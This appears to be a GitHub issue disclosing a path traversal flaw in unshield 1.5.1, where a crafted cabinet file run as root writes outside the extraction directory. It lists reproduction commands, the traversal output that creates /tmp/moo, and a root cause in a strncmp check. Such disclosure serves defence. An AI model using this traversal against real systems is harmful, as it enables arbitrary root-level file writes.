You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The latest version 1.5.1 has a path traversal vulnerability with root permission that allows the attacker to create or write to files outside the current directory due to improper string comparisons between real paths.
How to reproduce:
$ wget https://github.com/twogood/unshield/archive/refs/tags/1.5.1.tar.gz
$ tar -xzf unshield-1.5.1.tar.gz
$ cd unshield-1.5.1
$ cmake .
$ make
$ make install
# download cab and hdr files from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=776193
# must be located together in the same directory
$ cd /
$ sudo mkdir tm
$ cd tm
$ ls /tmp/moo
ls: cannot access /tmp/moo: No such file or directory
$ sudo /home/path/to/unshield-1.5.1/src/unshield x /path/to/data1.cab
Cabinet: data1.cab
extracting: ./Bovine_Files/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/moo
-------- -------
1 files
# verify attack worked
$ ls /tmp/moo
/tmp/moo
Impact:
The latest version 1.5.1 has a path traversal vulnerability with root permission that allows the attacker to create or write to files outside the current directory due to improper string comparisons between real paths.
How to reproduce:
Root cause:
unshield/src/unshield.c
Lines 494 to 506 in 67bca73
The root cause is the return true value of function strncmp in src/unshield.c that passes if condition in function extract_file
PoC image:
download data1.cab and data1.hdr from https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=776193
The text was updated successfully, but these errors were encountered: